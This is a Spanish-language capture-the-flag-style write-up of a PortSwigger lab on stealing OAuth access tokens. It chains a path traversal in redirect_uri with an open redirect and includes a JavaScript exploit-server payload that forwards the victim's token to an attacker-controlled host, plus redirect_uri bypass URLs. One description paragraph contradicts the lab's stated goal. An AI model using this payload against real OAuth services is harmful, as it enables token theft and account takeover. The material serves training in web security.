Entrada

Stealing OAuth access tokens via an open redirect

Laboratorio de Portswigger sobre OAuth

Stealing OAuth access tokens via an open redirect

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio utiliza un servicio OAuth para permitir que los usuarios inicien sesión con su cuenta de redes sociales. Una validación defectuosa por parte del servicio OAuth hace posible que un atacante filtre tokens de acceso hacia páginas arbitrarias en la aplicación cliente

Para resolver el laboratorio, debemos identificar un open redirect en el sitio web y usarla para robar un token de acceso de la cuenta del usuario admin. Luego, debemos usar el token de acceso para obtener la clave API del administrador y enviar la solución utilizando el botón proporcionado en el banner del laboratorio

Para resolver el laboratorio, debemos robar un código de autorización asociado al usuario admin, usarlo para acceder a su cuenta y eliminar al usuario carlos

El usuario admin abrirá cualquier cosa que enviemos desde el servidor de explotación y siempre tiene una sesión activa con el servicio OAuth. Podemos iniciar sesión con nuestra propia cuenta de redes sociales utilizando las credenciales wiener:peter


Guía de vulnerabilidades de OAuth

Antes de completar este laboratorio es recomendable leerse esta guía de vulnerabilidades de OAuth https://justice-reaper.github.io/posts/OAuth-Vulnerabilities-Guide/

Resolución

Al acceder a la web vemos esto

Si pulsamos sobre View post vemos que podemos comentar en el post

Si pulsamos sobre My account nos redirige al panel de login

No logueamos con las credenciales wiener:peter

Posteriormente nos redirige a esta otra ventana donde nos solicita permiso para acceder a nuestro perfil e email

Si hemos iniciado sesión correctamente nos saldrá este mensaje al final

Si accedemos a My account veremos nuestro username, nuestro email y nuestra API Key pero oculta

Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos todo el flujo de peticiones

Podemos determinar el grant type observando la petición a /auth. En este caso el parámetro response_type tiene el valor token lo cual quiere decir que estamos ante un implicit grant type. Además de esto también podemos ver el nombre de host del servidor de autorización, en este caso es 0aa200df04b772bf80a5030300d90002.web-security-academy.net

Si nos fijamos bien el access_token que obtenemos es el token Bearer que utilizamos al realizar la petición al endpoint /me para obtener los datos de nuestro usuario

He intentado reemplazar el redirect_uri con nuestro domino de Burpsuite Collaborator pero no ha dado resultado y nos ha devuelto un 400 Bad Request

1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com&response_type=token&nonce=-586290821&scope=openid%20profile%20email

He intentado bypassear el dominio https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback y hacer que la redirección se haga a mi dominio de Burpsuite Collaborator pero tampoco ha dado resultado

1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback@https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com&response_type=token&nonce=-586290821&scope=openid%20profile%20email

He intentado llevar a cabo un parameter pollution añadiendo redirect_uri=https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com al final de la URL pero no ha funcionado

1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback&response_type=token&nonce=-586290821&scope=openid%20profile%20email&redirect_uri=https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com

He probado un path traversal y en este caso sí ha funcionado

1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback/../&response_type=token&nonce=-586290821&scope=openid%20profile%20email

Podemos ver como si no hacemos el path traversal nos redirige a https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback#access_token=7_zqOzYjOwqjx9p4q89vMQ1OerjxHZNZQknryzCZeLs&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email

Sin embargo, si efectuamos el path traversal nos redirige a https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/#access_token=VS0YNG681SR-PwP8nn2hBp5ptfo8KmfunnG3Qpq1C9W&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email

Tenemos el path traversal pero tenemos que combinarlo con un open redirect para que nos envíe el access_token a nuestro servidor. He he dado cuenta que si pulsamos sobre View post > next page nos muestra una ruta interesante

Si capturamos la petición con Burpsuite y como path ponemos nuestro dominio de Burpsuite Collaborator vemos que funciona

Ahora que tenemos un path traversal y un open redirect, podemos combinar ambas vulnerabilidades para obtener el access_token en nuestro servidor. Para ello, nos dirigimos al Exploit server y construimos este payload

1
2
3
4
5
6
7
<script>
    if (!document.location.hash) {
        window.location.replace('https://oauth-0ae9004f04e1c6638185ddac0230000f.oauth-server.net/auth?client_id=q2q7kc9umvpf7hxambobn&redirect_uri=https://0a8400660405c6888116dfdf00be0038.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a35002e0433c6b6813cde6b01a300cb.exploit-server.net/exploit&response_type=token&nonce=-1397029964&scope=openid%20profile%20email');
    } else {
        window.location = '/?pwned='+document.location.hash.substr(1);
    }
</script>

Una vez hecho esto pulsamos sobre Deliver exploit to victim y posteriormente en Access log

Una vez tenemos el access_token lo sustituimos en la cabecera Authorization

Si queremos acceder a la cuenta de administrador debemos copiarnos el nombre de usuario, el access_token y el email

Pulsamos click derecho > Request in browser > In original session

Copiamos la URL en el navegador y ya podemos acceder a la cuenta del usuario administrador

Para resolver el laboratorio tenemos pulsar sobre Submit solution y pegar ahí la apiKey

Esta entrada está licenciada bajo CC BY 4.0 por el autor.